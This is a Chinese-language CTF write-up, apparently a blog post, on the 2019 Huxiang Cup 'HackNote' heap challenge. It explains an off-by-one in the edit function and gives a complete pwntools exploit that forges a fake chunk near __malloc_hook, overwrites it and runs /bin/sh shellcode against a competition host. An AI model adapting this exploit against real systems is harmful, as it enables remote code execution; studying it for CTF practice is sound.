2019 湖湘杯 HackNote 经验总结

静态链接的题目, 又学到了一点

程序保护:
在这里插入图片描述
保护全关

程序逻辑分析:
在这里插入图片描述
常规操作齐了

漏洞点:
在这里插入图片描述
漏洞点发生在edit 函数中, 在对chunk进行edit 完之后, 会对chunk的size进行重新赋值, 而在调试的时候发现, 如果使用原来的chunk的size填满data区, 在进行重新赋值的时候chunk的size比原来的size多了4, 具体调试的时候发现, sub_424660函数应该是strlen函数, 字符串结尾在下一个chunk的size中, 导致重新赋值的size比原来的大, 这就造成了off-by-one漏洞

漏洞利用:
由于本题是静态链接, 库函数的地址都能在文件中找到, 也就是能直接找到malloc_hook或free_hook 的地址, 不用泄露
那么怎么找?

在调用free或malloc函数时会先对__free_hook 或 __malloc_hook 进行检查, 为空则调用free或malloc函数, 不为空则跳转到__free_hook 或__malloc_hook 中的地址上

在这里插入图片描述
在这里插入图片描述
进入free, malloc函数可以找到free_hook与malloc_hook的地址
__free_hook: 0x6CD5E8
__malloc_hook: 0x6CB788

找到_free_hook , _malloc_hook 的地址后就是填入能够getshell的地址, 可以往_malloc_hook 后填入shellcode, _malloc_hook中填入_malloc_hook + 8这样就可以通过利用shellcode来getshell

具体步骤:
利用off-by-one漏洞修改chunk的size, 将chunk分配到_malloc_hook 附近的fake chunk, 之后就是覆盖_malloc_hook 与植入shellcode了

EXP:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
debug = 0
d = 0

if debug == 0:
	p = process("./HackNote")
	if d == 1:
		context.terminal = ['tmux', 'splitw', '-h']
		gdb.attach(p)
else:
	p = remote("183.129.189.62", 11504)

def add(size, note):
	p.sendlineafter("-----------------", str(1))
	p.sendlineafter("Input the Size:", str(size))
	p.sendafter("Input the Note:", note)

def free(idx):
	p.sendlineafter("-----------------", str(2))
	p.sendlineafter("Input the Index of Note:", str(idx))
	
def edit(idx, note):
	p.sendlineafter("-----------------", str(3))
	p.sendlineafter("Input the Index of Note:", str(idx))
	p.sendlineafter("Input the Note:", note)

elf = ELF("./HackNote")
libc = ELF("/home/user/welpwn/PwnContext/libs/libc-2.23/64bit/libc.so.6")

free_hook = 0x6cd5e8
malloc_hook = 0x6cb788

add(0x18, 'a'*0x18)

add(0x18, 'b'*0x18)

add(0x38, 'd'*0x38)

add(0x18, 'e'*0x18)

add(0x18, 'f'*0x18)

edit(0, 'a'*0x18)

edit(0, 'a'*0x18 + p8(0x81))

free(2)

free(1)

add(0x78, 'b'*0x18 + p64(0x41) + p64(malloc_hook - 0x16) + '\n')

add(0x38, 'h'*0x38)

shellcode = '\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05'
add(0x38, 'i'*0x6 + p64(malloc_hook + 8) + shellcode + '\n')

p.sendlineafter("-----------------", str(1))
p.sendlineafter("Input the Size:", str(1))

p.interactive()

结果:
在这里插入图片描述

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值